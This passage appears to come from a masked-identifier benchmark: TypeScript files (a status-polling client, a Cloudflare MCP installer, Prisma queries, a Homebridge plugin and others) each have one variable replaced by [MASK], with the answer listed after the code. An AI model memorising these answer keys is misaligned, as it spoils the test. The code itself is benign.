intervalVideoObjectId = setInterval(doIntervalVideoObject, 100)
",uploadDateString
165,"import axios, { AxiosInstance } from 'axios';
import WebSocket from 'ws';
import { EventEmitter } from 'events';

export type Status = 'pending' | 'completed' | 'error';

export interface StatusClientOptions {
  serverUrl: string;
  useWebSocket?: boolean;
  pollingMethod?: 'fixed' | 'exponential' | 'adaptive';
  initialDelay?: number; // milliseconds
  maxDelay?: number; // milliseconds
  maxRetries?: number;
  timeout?: number; // milliseconds
}

export class StatusClient extends EventEmitter {
  private readonly serverUrl: string;
  private readonly useWebSocket: boolean;
  private readonly pollingMethod: 'fixed' | 'exponential' | 'adaptive';
  private readonly initialDelay: number;
  private readonly maxDelay: number;
  private readonly maxRetries: number;
  private readonly timeout: number;

  private readonly axiosInstance: AxiosInstance;
  private ws?: WebSocket;
  private pollingTimer?: NodeJS.Timeout;
  private timeoutTimer?: NodeJS.Timeout;
  private retries: number = 0;
  private isFinished: boolean = false;
  private lastDelay: number;

  // Event listener methods
  public on(event: 'connected', listener: () => void): this;
  public on(event: 'disconnected', listener: () => void): this;
  public on(event: 'statusUpdate', listener: (status: Status) => void): this;
  public on(event: 'finished', listener: (status: Status) => void): this;
  public on(event: 'error', listener: (error: Error) => void): this;
  public on(event: 'timeout', listener: () => void): this;
  public on(event: string, listener: (...args: any[]) => void): this {
    return super.on(event, listener);
  }

  constructor( [MASK] : StatusClientOptions) {
    super();

    if (! [MASK] .serverUrl) {
      throw new Error('serverUrl is required.');
    }

    this.serverUrl =  [MASK] .serverUrl;
    this.useWebSocket =  [MASK] .useWebSocket ?? true;
    this.pollingMethod =  [MASK] .pollingMethod ?? 'fixed';
    this.initialDelay =  [MASK] .initialDelay ?? 1000; // Default 1 second
    this.maxDelay =  [MASK] .maxDelay ?? 10000; // Default 10 seconds
    this.maxRetries =  [MASK] .maxRetries ?? 50;
    this.timeout =  [MASK] .timeout ?? 60000; // Default 60 seconds

    this.lastDelay = this.initialDelay;

    this.axiosInstance = axios.create({
      baseURL: this.serverUrl,
    });
  }

  public start(): void {
    if (this.isFinished) {
      throw new Error('Cannot start after completion. Create a new instance.');
    }

    if (this.useWebSocket) {
      this.initWebSocket();
    } else {
      this.initPolling();
    }

    this.timeoutTimer = setTimeout(() => {
      this.emit('timeout');
      this.cleanup();
    }, this.timeout);
  }

  public stop(): void {
    this.cleanup();
  }

  private initWebSocket(): void {
    try {
      const wsUrl = this.serverUrl.replace(/^http/, 'ws');

      this.ws = new WebSocket(wsUrl);

      this.ws.on('open', () => {
        this.emit('connected');
      });

      this.ws.on('message', (data: WebSocket.Data) => {
        try {
          const message = JSON.parse(data.toString());
          const status: Status = message.result;

          this.emit('statusUpdate', status);

          if (status === 'completed' || status === 'error') {
            this.emit('finished', status);
            this.cleanup();
          }
        } catch (error) {
          this.emit('error', new Error('Invalid message format.'));
        }
      });

      this.ws.on('error', (error) => {
        this.emit('error', error);
        this.cleanup();
      });

      this.ws.on('close', () => {
        if (!this.isFinished) {
          this.emit('disconnected');
        }
        this.cleanup();
      });
    } catch (error) {
      this.emit('error', error);
      this.initPolling(); // Fallback to polling if WebSocket fails
    }
  }

  private initPolling(): void {
    this.pollStatus();
  }

  private async pollStatus(): Promise<void> {
    if (this.isFinished) {
      return;
    }

    try {
      const response = await this.axiosInstance.get('/status');
      const status: Status = response.data.result;

      this.emit('statusUpdate', status);

      if (status === 'completed' || status === 'error') {
        this.emit('finished', status);
        this.cleanup();
        return;
      }

      if (this.retries >= this.maxRetries) {
        this.emit('error', new Error('Max retries reached.'));
        this.cleanup();
        return;
      }

      this.retries++;

      const nextDelay = this.calculateNextDelay();

      this.pollingTimer = setTimeout(() => {
        this.pollStatus();
      }, nextDelay);
    } catch (error) {
      this.emit('error', error);
      this.cleanup();
    }
  }

  private calculateNextDelay(): number {
    let nextDelay: number;

    switch (this.pollingMethod) {
      case 'fixed':
        nextDelay = this.initialDelay;
        break;
      case 'exponential':
        nextDelay = Math.min(this.lastDelay * 2, this.maxDelay);
        break;
      case 'adaptive':
        // Increase delay if status remains 'pending' for a long time
        if (this.retries < 5) {
          nextDelay = this.initialDelay;
        } else if (this.retries < 10) {
          nextDelay = this.lastDelay + 1000;
        } else {
          nextDelay = this.maxDelay;
        }
        break;
      default:
        nextDelay = this.initialDelay;
        break;
    }

    this.lastDelay = nextDelay;
    return nextDelay;
  }

  private cleanup(): void {
    if (this.ws) {
      this.ws.removeAllListeners();
      this.ws.close();
      this.ws = undefined;
    }

    if (this.pollingTimer) {
      clearTimeout(this.pollingTimer);
      this.pollingTimer = undefined;
    }

    if (this.timeoutTimer) {
      clearTimeout(this.timeoutTimer);
      this.timeoutTimer = undefined;
    }

    this.isFinished = true;
  }
}",options
166,"import { WMSOptions } from 'leaflet';

export interface LayerDefinition extends WMSOptions {
  layerIdentifier: string;
  authenticated?: boolean;
  url: string;
  cql_filter?: string;
  zIndexAbsolute?: boolean;
}

interface BaseLayerItem {
  label: string;
  key: string;
}

export interface LayerMenuItem extends BaseLayerItem {
  layerDefinitionId?: string;
  color?: string;
  nodes?: never;
}

export interface LayerMenuGroup extends BaseLayerItem {
  nodes: LayerMenuEntry[];
  layerDefinitionId?: never;
  color?: never;
}

export type LayerMenuEntry = LayerMenuGroup | LayerMenuItem;

export function isLayerItem(layerEntry?: LayerMenuEntry): layerEntry is LayerMenuItem {
  return layerEntry?.layerDefinitionId !== undefined;
}

export function isLayerGroup(layerEntry?: LayerMenuEntry): layerEntry is LayerMenuGroup {
  return layerEntry?.nodes !== undefined;
}

export function getChildrenIds( [MASK] : LayerMenuGroup): string[] {
  let keys: string[] = [];
   [MASK] .nodes.forEach(n => {
    if (isLayerItem(n)) {
      keys.push(n.layerDefinitionId);
    } else {
      keys = keys.concat(getChildrenIds(n));
    }
  });

  return keys;
}
",rootEntry
167,"const createColorManager = (grey: [number, number, number], accent: [number, number, number]) => {
  const [r, g, b] = grey;
  const avg = Math.round((r + g + b) / 3);
  const isLight = avg > 127;
  const contrast = isLight ? [0, 0, 0] : [255, 255, 255];

  return {
    isLight,
    avg,
    grey,
    accent,
    shade: (value: number) => {
      const  [MASK]  = isLight ? '0' : '255';
      return `rgba(${ [MASK] },${ [MASK] },${ [MASK] },${value})`;
    },
    shift: (value: number, opacity = 1) => {
      const r1 = Math.max(0, Math.min(255, r + (isLight ? value : -value)));
      const g1 = Math.max(0, Math.min(255, g + (isLight ? value : -value)));
      const b1 = Math.max(0, Math.min(255, b + (isLight ? value : -value)));
      return opacity === 1 ? `rgba(${r1},${g1},${b1},${opacity})` : `rgb(${r1},${g1},${b1})`;
    },
    contrast: (opacity = 1) => `rgba(${contrast[0]},${contrast[1]},${contrast[2]},${opacity})`,
  };
};

export default createColorManager;
",base
168,"// Shell out to `npx wrangler@latest whoami`
import { exec } from 'child_process'
import { promisify } from 'util'
import {
  AccountInfo,
  fetchInternal,
  FetchResult,
  getAuthTokens,
  isAccessTokenExpired,
  isDirectory,
  refreshToken,
} from './utils/wrangler'
import chalk from 'chalk'
import os from 'node:os'
import path from 'node:path'
import fs from 'node:fs'
import { fileURLToPath } from 'url'
import { createDialog, endSection, logRaw, startSection, updateStatus } from './utils/c3'
import { mcpCloudflareVersion } from './utils/helpers'
import which from 'which'

const __filename = fileURLToPath(import.meta.url)

const execAsync = promisify(exec)

export async function init( [MASK] : string | undefined) {
  logRaw(
    createDialog([
      `👋 Welcome to ${chalk.yellow('mcp-server-cloudflare')} v${mcpCloudflareVersion}!`,
      `💁‍♀️ This ${chalk.green(""'init'"")} process will ensure you're connected to the Cloudflare API`,
      `   and install the Cloudflare MCP Server into Claude, Cline, Windsurf and Cursor (${chalk.blue.underline('https://claude.ai/download')})`,
      `ℹ️ For more information, visit ${chalk.blue.underline('https://github.com/GutMutCode/mcp-server-cloudflare')}`,
      `🧡 Let's get started.`,
    ]),
  )

  startSection(`Checking for existing Wrangler auth info`, `Step 1 of 3`)
  updateStatus(chalk.gray(`If anything goes wrong, try running 'npx wrangler@latest login' manually and retrying.`))

  try {
    getAuthTokens()
  } catch (e: any) {
    updateStatus(`${chalk.underline.red('Warning:')} ${chalk.gray(e.message)}`, false)
    updateStatus(`Running '${chalk.yellow('npx wrangler login')}' and retrying...`, false)

    const { stderr, stdout } = await execAsync('npx wrangler@latest login')
    if (stderr) updateStatus(chalk.gray(stderr))

    getAuthTokens()
  }

  updateStatus(`Wrangler auth info loaded!`)

  if (isAccessTokenExpired()) {
    updateStatus(`Access token expired, refreshing...`, false)
    if (await refreshToken()) {
      updateStatus('Successfully refreshed access token')
    } else {
      throw new Error('Failed to refresh access token')
    }
  }

  endSection('Done')
  startSection(`Fetching account info`, `Step 2 of 3`)

  const { result: accounts } = await fetchInternal<FetchResult<AccountInfo[]>>('/accounts')

  let account: string
  switch (accounts.length) {
    case 0:
      throw new Error(`No accounts found. Run 'wrangler whoami' for more info.`)
    case 1:
      if ( [MASK]  &&  [MASK]  !== accounts[0].id) {
        throw new Error(`You don't have access to account ${ [MASK] }. Leave blank to use ${accounts[0].id}.`)
      }
      account = accounts[0].id
      break
    default:
      if (! [MASK] ) {
        throw new Error(
          `${chalk.red('Multiple accounts found.')}\nUse ${chalk.yellow('npx @gutmutcode/mcp-server-cloudflare init [account_id]')} to specify which account to use.\nYou have access to:\n${accounts.map((a) => `  • ${a.name} — ${a.id}`).join('\n')}`,
        )
      }
      account =  [MASK] 
      break
  }

  updateStatus(`Using account: ${chalk.yellow(account)}`)
  endSection('Done')

  startSection(`Configuring MCP Clients`, `Step 3 of 3`)

  const configPaths = {
    cline: path.join(
      os.homedir(),
      'Library',
      'Application Support',
      'Code',
      'User',
      'globalStorage',
      'saoudrizwan.claude-dev',
      'settings',
      'cline_mcp_settings.json',
    ),
    claude: path.join(os.homedir(), 'Library', 'Application Support', 'Claude', 'claude_desktop_config.json'),
    windsurf: path.join(os.homedir(), '.codeium', 'windsurf', 'mcp_config.json'),
    cursor: path.join(os.homedir(), '.cursor', 'mcp.json'),
  }

  // Define the valid client names
  type ClientName = 'cline' | 'claude' | 'windsurf' | 'cursor'

  const cloudflareConfig = {
    cline: {
      command: (await which('node')).trim(),
      args: [__filename, 'run', account],
      disabled: false,
      autoApprove: [],
    },
    claude: {
      command: (await which('node')).trim(),
      args: [__filename, 'run', account],
    },
    windsurf: {
      command: (await which('node')).trim(),
      args: [__filename, 'run', account],
    },
    cursor: {
      command: (await which('node')).trim(),
      args: [__filename, 'run', account],
    },
  }

  async function writeConfig(clientName: string, configPath: string) {
    try {
      updateStatus(`Configuring ${chalk.yellow(clientName)}...`)

      const configDir = path.dirname(configPath)
      if (!isDirectory(configDir)) {
        updateStatus(`${chalk.yellow(clientName)} config directory not found at: ${chalk.gray(configDir)}`, false)
        return false
      }

      const existingConfig = fs.existsSync(configPath)
        ? JSON.parse(fs.readFileSync(configPath, 'utf8'))
        : { mcpServers: {} }

      if ('cloudflare' in (existingConfig?.mcpServers || {})) {
        updateStatus(
          `${chalk.green('Note:')} Replacing existing Cloudflare MCP config in ${clientName}:\n${chalk.gray(JSON.stringify(existingConfig.mcpServers.cloudflare))}`,
          false,
        )
      }

      const newConfig = {
        ...existingConfig,
        mcpServers: {
          ...existingConfig.mcpServers,
          cloudflare: cloudflareConfig[clientName as ClientName] || cloudflareConfig.cline, // Type-safe access
        },
      }

      fs.writeFileSync(configPath, JSON.stringify(newConfig, null, 2))
      updateStatus(`Successfully configured ${chalk.yellow(clientName)}!`, false)
      updateStatus(`Config written to: ${chalk.gray(configPath)}`, false)
      return true
    } catch (error: any) {
      updateStatus(`${chalk.red('Error')} configuring ${clientName}: ${error.message}`, false)
      return false
    }
  }

  let successCount = 0
  for (const [clientName, configPath] of Object.entries(configPaths)) {
    if (await writeConfig(clientName, configPath)) {
      successCount++
    }
  }

  if (successCount > 0) {
    updateStatus(chalk.green(`\nSuccessfully configured ${successCount} client(s)!`))
    updateStatus(
      chalk.blue(`Try asking any configured client to ""tell me which Workers I have on my account"" to get started!`),
    )
  } else {
    updateStatus(chalk.yellow('\nNo clients were configured. You may need to configure them manually.'))
    updateStatus(
      `Manual configuration example:\n${chalk.gray(JSON.stringify({ mcpServers: { cloudflare: cloudflareConfig } }, null, 2))}`,
    )
  }

  endSection('Done')
}
",accountTag
169,"export class PlacesOfGame{
    data=[
        {
            nombreLugar: 'Facultad de Economía',
            rutaFoto: '/assets/imgs/facultades/economia.jpg'
        },
        {
            nombreLugar: 'Facultad de Ciencias Químicas',
            rutaFoto: '/assets/imgs/facultades/ciencias_quimicas.jpg'
        },
        {
            nombreLugar: 'Facultad de Filosofía',
            rutaFoto: '/assets/imgs/facultades/filosofia.jpg'
        },
        {
            nombreLugar: 'Facultad de Ingeniería',
            rutaFoto: '/assets/imgs/facultades/ingenieria.jpg'
        },
        {
            nombreLugar: 'Facultad de Jurisprudencia',
            rutaFoto: '/assets/imgs/facultades/jurisprudencia.jpg'
        },
        {
            nombreLugar: 'Facultad de Psicología',
            rutaFoto: '/assets/imgs/facultades/psicologia.jpg'
        },
        {
            nombreLugar: 'Biblioteca',
            rutaFoto: '/assets/imgs/facultades/biblioteca.jpg'
        },
        {
            nombreLugar: 'Departamento de cultura física',
            rutaFoto: '/assets/imgs/facultades/fisica.png'
    }
    ]
    
    getPlacesOfGame( [MASK] ){
        return this.data[ [MASK] -1];
    }
}",numPlace
170,"import * as vscode from 'vscode';
import { SQLClientExecutor } from './executor/SQLClientExecutor';

export class FlinkSQLExtension {
  executor: SQLClientExecutor;
  context: vscode.ExtensionContext;

  constructor(context: vscode.ExtensionContext) {
    this.context = context;
    this.executor = this.getExecutor();
  }

  executeSql() {
    const documentText = this.getFullDocumentText();
    if (documentText) {
      const separatedStatements = this.separateStatements(documentText);
      this.executor.executeSql(separatedStatements);
    } else {
      vscode.window.showErrorMessage('Cannot find active editor');
    }
  }

  executeSelectedSql() {
    const documentText = this.getSelectedDocumentText();
    if (documentText) {
      const separatedStatements = this.separateStatements(documentText);
      this.executor.executeSql(separatedStatements);
    } else {
      vscode.window.showErrorMessage('Cannot find active editor or did not select any message');
    }
  }

  executeShortInput() {
    vscode.window.showInputBox().then(input => {
      if (input) {
        this.executor.executeShortCommand(input);
      }
    });
  }

  getFullDocumentText(): string | null {
    const editor = vscode.window.activeTextEditor;
    if (editor) {
      const document = editor.document;
      return document.getText();
    }
    return null;
  }

  getSelectedDocumentText(): string | null {
    const editor = vscode.window.activeTextEditor;
    if (editor && !editor.selection.isEmpty) {
      return editor.document.getText(editor.selection);
    }

    return null;
  }

  getActiveEditorFileName(): string | null {
    const editor = vscode.window.activeTextEditor;
    if (editor) {
      return editor.document.fileName;
    }
    return null;
  }

  getExecutor() {
    return new SQLClientExecutor(this.context);
  }

  terminateCLI(): void {
    this.executor.terminateCLI();
  }

  separateStatements(statements: string) {
    const  [MASK]  = /;(?=(?:[^']*'[^']*')*[^']*$)/g;
    const separateReplace = ';\n\n';
    return statements.replace( [MASK] , separateReplace);
  }
}
",separateRegex
171,"/********************************************************************************
 * Copyright (c) 2022 Microsoft and BMW Group AG
 * Copyright (c) 2022 Contributors to the Eclipse Foundation
 *
 * See the NOTICE file(s) distributed with this work for additional
 * information regarding copyright ownership.
 *
 * This program and the accompanying materials are made available under the
 * terms of the Apache License, Version 2.0 which is available at
 * https://www.apache.org/licenses/LICENSE-2.0.
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations
 * under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 ********************************************************************************/

import { type RouteComponentProps } from 'react-router-dom'
import {
  type CompanyRole,
  type ConsentForCompanyRoles,
} from '../data/companyDetails'
import { type FetchBusinessPartnerDto } from '../data/companyDetailsById'
import UserService from '../services/UserService'
import { getApiBase } from '../services/EnvironmentService'
import {
  ApplicationStatus,
  ApplicationType,
} from '../state/features/application/applicationApiSlice'

export function getCompanyDetails(
  oneId: string
): Promise<FetchBusinessPartnerDto[]> {
  console.log('API called getCompanyDetails')
  const token = UserService.getToken()
  const u = `${getApiBase()}/api/registration/legalEntityAddress/${oneId}`
  const myResponseData: FetchBusinessPartnerDto[] = []
  const promise = new Promise<FetchBusinessPartnerDto[]>((resolve, reject) => {
    fetch(u, {
      method: 'GET',
      headers: {
        Authorization: `Bearer ${token}`,
        'Content-Type': 'application/json',
      },
    })
      .then((res) =>
        res.text().then((data) => {
          if (res.ok) {
            Object.assign(myResponseData, data ? JSON.parse(data) : {})
            resolve(myResponseData)
          } else {
            reject(res.status)
          }
        })
      )
      .catch((error) => {
        // alert(error);
        console.log(error, error.message, error.status)
        reject(error.status)
      })
  })

  return promise
}
export function submitSendInvites(userInviteList: any): Promise<any> {
  const tenant = UserService.getTenant()
  const token = UserService.getToken()
  const u = `${getApiBase()}/api/registration/tenant/${tenant}/users`
  const promise = new Promise<any>((resolve, reject) => {
    fetch(u, {
      method: 'POST',
      headers: {
        Authorization: `Bearer ${token}`,
        'Content-Type': 'application/json',
      },
      body: JSON.stringify(userInviteList),
    })
      .then((res) =>
        res.text().then(() => {
          if (res.ok) {
            resolve('Sent Invite')
          } else {
            reject(res.status)
          }
        })
      )
      .catch((error) => {
        // alert(error);
        console.log(error, error.message, error.status)
        reject(error.status)
      })
  })
  return promise
}

export function getCompanyRoles(): Promise<CompanyRole[]> {
  const token = UserService.getToken()
  const u = `${getApiBase()}/api/registration/companyRoles`
  const companyRolesRes: CompanyRole[] = []
  const promise = new Promise<CompanyRole[]>((resolve, reject) => {
    fetch(u, {
      method: 'GET',
      headers: {
        Authorization: `Bearer ${token}`,
        'Content-Type': 'application/json',
      },
    })
      .then((val) =>
        val.json().then((data) => {
          if (val.ok) {
            Object.assign(companyRolesRes, data)
            resolve(companyRolesRes)
          } else {
            reject(val.statusText)
          }
        })
      )
      .catch((error) => {
        alert(error)
        console.log(error, error.message, error.status)
        reject(error.message)
      })
  })

  return promise
}
export function getConsentForCompanyRoles(
  roleId: number
): Promise<ConsentForCompanyRoles[]> {
  const token = UserService.getToken()
  const u = `${getApiBase()}/api/registration/consentsForCompanyRole/${roleId}`
  const myConsentResponseData: ConsentForCompanyRoles[] = []
  const promise = new Promise<ConsentForCompanyRoles[]>((resolve, reject) => {
    fetch(u, {
      method: 'GET',
      headers: {
        Authorization: `Bearer ${token}`,
        'Content-Type': 'application/json',
      },
    })
      .then((val) =>
        val.json().then((data) => {
          if (val.ok) {
            Object.assign(myConsentResponseData, data)
            resolve(myConsentResponseData)
          } else {
            reject(val.statusText)
          }
        })
      )
      .catch((error) => {
        alert(error)
        console.log(error, error.message, error.status)
        reject(error.message)
      })
  })
  return promise
}
export function getClientRolesComposite(): Promise<string[]> {
  const token = UserService.getToken()
  const u = `${getApiBase()}/api/registration/rolesComposite`
  const userRolesRes: string[] = []
  const promise = new Promise<string[]>((resolve, reject) => {
    fetch(u, {
      method: 'GET',
      headers: {
        Authorization: `Bearer ${token}`,
        'Content-Type': 'application/json',
      },
    })
      .then((res) =>
        res.text().then((data) => {
          if (res.ok) {
            Object.assign(userRolesRes, data ? JSON.parse(data) : {})
            resolve(userRolesRes)
          } else {
            reject(res.status)
          }
        })
      )
      .catch((error) => {
        // alert(error);
        console.log(error, error.message, error.status)
        reject(error.status)
      })
  })

  return promise
}

export function uploadDocument(file): Promise<any> {
  const token = UserService.getToken()
  const u = `${getApiBase()}/api/registration/documents`
  const formdata = new FormData()
  formdata.append('document', file.file)
  return fetch(u, {
    method: 'POST',
    headers: {
      Authorization: `Bearer ${token}`,
    },
    body: formdata,
  })
}

export const downloadDocument = (
  file,
  fileType = 'application/pdf',
  fileName = `${new Date().toDateString()}.pdf`
) => {
  const  [MASK]  = new Blob([file], {
    type: fileType,
  })
  const url = URL.createObjectURL( [MASK] )
  const a = document.createElement('a')
  a.href = url
  a.download = fileName
  a.click()
}

export function download(file: Blob, _fileType: string, fileName: string) {
  const url = URL.createObjectURL(file)
  const a = document.createElement('a')
  a.href = window.encodeURIComponent(url)
  a.download = fileName
  a.click()
}

export function handleStatusRedirect(
  status: ApplicationStatus,
  applicationType: ApplicationType,
  history: RouteComponentProps['history']
) {
  if (
    [
      ApplicationStatus.SUBMITTED,
      ApplicationStatus.CONFIRMED,
      ApplicationStatus.DECLINED,
    ].includes(status)
  )
    location.href = '/'
  else if (Object.values(ApplicationStatus).includes(status)) {
    if (applicationType === ApplicationType.INTERNAL) history.push('/landing')
    else location.href = '/consent_osp'
  } else history.push('/landing')
}

export const isObjectEmptyOrFalsy = (obj) => {
  // Check if the object is empty
  if (!obj || Object.keys(obj).length === 0) {
    return true
  }

  // Check if all values are false
  for (const key in obj) {
    if (obj[key]) {
      return false
    }
  }

  return true
}
",blobFile
172,"import { STATUS_CODES } from 'http'
import { ResourceNotFound, ServiceError } from './errors'
import { log } from '../logger'

/**Error Handler for uncaughtException
 * and unhandledRejection on main process
 */

export const httpError = (reply: any) => ( [MASK]  = 500, error: any = 'Internal server Error') =>
  reply.status( [MASK] ).send({
    code: STATUS_CODES[ [MASK] ],
    message: error.message,
    errors: error.errors
  })

export const errorHandler = function (error: any, req: any, response: any, next: any) {
  const isError = true
  const replyError = httpError(response)
  switch (isError) {
    case error instanceof ResourceNotFound:
      log.warn(error)
      return replyError(404, {
        message: error.message,
        resource: error.resource
      })
    case error instanceof ServiceError:
      log.warn(error)
      return response.status(400).send({ code: STATUS_CODES[400], message: error.message })

    default:
      // Unknow error
      log.error(error)
      return response.status(500).send('Internal Server Error')
  }
}
",httpStatus
173,"import { PrismaClient } from ""@prisma/client"";

const prisma = new PrismaClient();


export async function addDog(dogphoto: string, dogname: string, doggender: string, dogfur:string, dogtemp: string, dogage: string, dogweight: string, dogdesc: string, dogowner:string, is_castrated: string, is_adoptable: string, dogobs: string) {
    await prisma.$connect();
    const dog = await prisma.dog.create({
        data: {
            photo: dogphoto,
            name: dogname,
            gender: doggender,
            fur: dogfur,
            temperament: dogtemp,
            age: dogage,
            weight: dogweight, //change to string
            description: dogdesc,
            owner_name: dogowner,
            is_castrated: is_castrated,
            is_adoptable: is_adoptable,
            observations: dogobs,
        }
    });
    await prisma.$disconnect();
};

export async function updateDog(dog_id: string, dogphoto: string, dogname: string, doggender: string, dogfur:string, dogtemp: string, dogage: string, dogweight: string, dogdesc: string, dogowner:string, is_castrated: string, is_adoptable: string, dogobs: string) {
    await prisma.$connect();
    const dog = await prisma.dog.update({
        where: {
            id: dog_id
        },
        data: {
            photo: dogphoto,
            name: dogname,
            gender: doggender,
            fur: dogfur,
            temperament: dogtemp,
            age: dogage,
            weight: dogweight, //change to string
            description: dogdesc,
            owner_name: dogowner,
            is_castrated: is_castrated,
            is_adoptable: is_adoptable,
            observations: dogobs,
        }
    });
    await prisma.$disconnect();
};

export async function deleteDog (dog_id: string) {
    await prisma.$connect();
    const dog = await prisma.dog.delete({
        where: {
            id: dog_id
        }
    });
    await prisma.$disconnect();
}

// arrumar isso
export async function addRegd(dog_id: string, is_fed: string, qt_fed: string, obs: string) {
    prisma.$connect;
    const dog = await prisma.daily.create({
        data: {
            dog_id: dog_id,
            is_fed: is_fed,
            qt_fed: qt_fed,
            observations: obs,
            date: new Date()
        }
    });
    await prisma.$disconnect();
}

export async function addRegm(dog_id: string, complaint: string, appearance: string, hydration_status: string, suspicion: string, weight: string, temperature: string, anotation: string, diagnosis: string, doctor: string, date: string, time: string, budget: string){
    await prisma.$connect();
    const dog = await prisma.medical.create({
        data: {
            dog_id: dog_id,
            complaint: complaint,
            appearance: appearance,
            hydration_status: hydration_status,
            suspicion: suspicion,
            weight: weight,
            temperature: temperature,
            anotation: anotation,
            diagnosis: diagnosis,
            doctor: doctor,
            date: date,
            time: time,
            budget: budget,
        }
    });
    await prisma.$disconnect();
}




// Upload Image FUNCTION
export async function uploadImage(dog_id: string,  [MASK] : string) {
    await prisma.$connect();
    const dog = await prisma.dog.update({
        where: {
            id: dog_id
        },
        data: {
            photo:  [MASK] ,
        }
    });
    await prisma.$disconnect();
}

",image
174,"import {
  AccessoryConfig,
  AccessoryPlugin,
  API,
  Logging,
  Service,
} from 'homebridge';


import { AirConditionerAPI, State, Mode, Fixation, Fanspeed } from 'broadlink-aircon-api';

export class AirCondionerAccessory implements AccessoryPlugin {

  private readonly log: Logging;
  private readonly api: API;
  private readonly name: string;
  private airConditionerAPI: AirConditionerAPI;
  private lastRotationSpeed = Fanspeed.medium;
  private lastTurbo = State.off;
  private lastMute = State.off;

  private readonly service: Service;
  private readonly informationService: Service;
  private readonly display: Service | undefined;
  private readonly health: Service | undefined;
  private readonly clean: Service | undefined;
  private readonly mildew: Service | undefined;
  private readonly sleep: Service | undefined;
  private readonly auto: Service | undefined;

  private showDisplay = false;
  private showHealth = false;
  private showClean = false;
  private showMildew = false;
  private showSleep = false;
  private showAuto = false;

  services: Service[]
  private swing = 3;

  constructor(log: Logging,  [MASK] : AccessoryConfig, api: API) {
    this.log = log;
    this.name =  [MASK] .name;
    this.api = api;
    this.services = [];
    let ip = '0.0.0.0';
    let mac = 'ff:ff:ff:ff:ff:ff';
    if (('ip' in  [MASK] ) && ('mac' in  [MASK] )) {
      ip =  [MASK] ['ip'] as string;
      mac =  [MASK] ['mac'] as string;
    } else {
      log.error('ip or mac is not provided');
    }
    
    this.airConditionerAPI = new AirConditionerAPI(ip, mac);

    let increments = 0.5;
    if ('increments' in  [MASK] ) {
      increments =  [MASK] ['increments'] as number;
    }

    if ('swing' in  [MASK] ) {
      this.swing =  [MASK] ['swing'] as number;
    }

    if ('display' in  [MASK] ) {
      this.showDisplay =  [MASK] ['display'] as boolean;
    }

    if ('health' in  [MASK] ) {
      this.showHealth =  [MASK] ['health'] as boolean;
    }

    if ('clean' in  [MASK] ) {
      this.showClean =  [MASK] ['clean'] as boolean;
    }

    if ('mildew' in  [MASK] ) {
      this.showMildew =  [MASK] ['mildew'] as boolean;
    }

    if ('sleep' in  [MASK] ) {
      this.showSleep =  [MASK] ['sleep'] as boolean;
    }

    if ('auto' in  [MASK] ) {
      this.showAuto =  [MASK] ['auto'] as boolean;
    }

    this.service = new this.api.hap.Service.HeaterCooler;
    this.service.getCharacteristic(api.hap.Characteristic.Active)
      .on('get', this.handleActiveGet.bind(this))
      .on('set', this.handleActiveSet.bind(this));

    this.service.getCharacteristic(api.hap.Characteristic.CurrentHeaterCoolerState)
      .on('get', this.handleCurrentHeaterCoolerStateGet.bind(this));

    this.service.getCharacteristic(api.hap.Characteristic.TargetHeaterCoolerState)
      .on('get', this.handleTargetHeaterCoolerStateGet.bind(this))
      .on('set', this.handleTargetHeaterCoolerStateSet.bind(this));

    this.service.getCharacteristic(api.hap.Characteristic.CurrentTemperature)
      .on('get', this.handleCurrentTemperatureGet.bind(this));
      
    this.service.getCharacteristic(api.hap.Characteristic.CoolingThresholdTemperature)
      .on('get', this.handleThresholdTemperatureGet.bind(this))
      .on('set', this.handleThresholdTemperatureSet.bind(this));

    this.service.getCharacteristic(api.hap.Characteristic.HeatingThresholdTemperature)
      .on('get', this.handleThresholdTemperatureGet.bind(this))
      .on('set', this.handleThresholdTemperatureSet.bind(this));

    this.service.getCharacteristic(api.hap.Characteristic.RotationSpeed)
      .on('get', this.handleRotationSpeedGet.bind(this))
      .on('set', this.handleRotationSpeedSet.bind(this));

    this.service.getCharacteristic(api.hap.Characteristic.SwingMode)
      .on('get', this.handleSwingGet.bind(this))
      .on('set', this.handleSwingSet.bind(this));

    this.service.getCharacteristic(api.hap.Characteristic.CoolingThresholdTemperature).props.minValue = 16;
    this.service.getCharacteristic(api.hap.Characteristic.CoolingThresholdTemperature).props.maxValue = 32;
    this.service.getCharacteristic(api.hap.Characteristic.HeatingThresholdTemperature).props.minValue = 16;
    this.service.getCharacteristic(api.hap.Characteristic.HeatingThresholdTemperature).props.maxValue = 32;

    this.service.getCharacteristic(api.hap.Characteristic.CoolingThresholdTemperature).props.minStep = increments;
    this.service.getCharacteristic(api.hap.Characteristic.HeatingThresholdTemperature).props.minStep = increments;
    this.services.push(this.service);

    this.informationService = new api.hap.Service.AccessoryInformation()
      .setCharacteristic(api.hap.Characteristic.Manufacturer, 'AUX')
      .setCharacteristic(api.hap.Characteristic.Model, 'Broadlink');
    this.services.push(this.informationService);

    if (this.showDisplay) {
      this.display = new api.hap.Service.Switch('Display', 'Display');
      this.display.getCharacteristic(api.hap.Characteristic.On)
        .on('get', this.handleDisplayGet.bind(this))
        .on('set', this.handleDisplaySet.bind(this));
      this.services.push(this.display);
    }

    if (this.showHealth) {
      this.health = new api.hap.Service.Switch('Health', 'Health');
      this.health.getCharacteristic(api.hap.Characteristic.On)
        .on('get', this.handleHealthGet.bind(this))
        .on('set', this.handleHealthSet.bind(this));
      this.services.push(this.health);
    }

    if (this.showClean) {
      this.clean = new api.hap.Service.Switch('Clean', 'Clean');
      this.clean.getCharacteristic(api.hap.Characteristic.On)
        .on('get', this.handleCleanGet.bind(this))
        .on('set', this.handleCleanSet.bind(this));
      this.services.push(this.clean);
    }

    if (this.showMildew) {
      this.mildew = new api.hap.Service.Switch('Mildew', 'Mildew');
      this.mildew.getCharacteristic(api.hap.Characteristic.On)
        .on('get', this.handleMildewGet.bind(this))
        .on('set', this.handleMildewSet.bind(this));
      this.services.push(this.mildew);
    }

    if (this.showSleep) {
      this.sleep = new api.hap.Service.Switch('Sleep', 'Sleep');
      this.sleep.getCharacteristic(api.hap.Characteristic.On)
        .on('get', this.handleSleepGet.bind(this))
        .on('set', this.handleSleepSet.bind(this));
      this.services.push(this.sleep);
    }

    if (this.showAuto) {
      this.auto = new api.hap.Service.Switch('Auto', 'Auto');
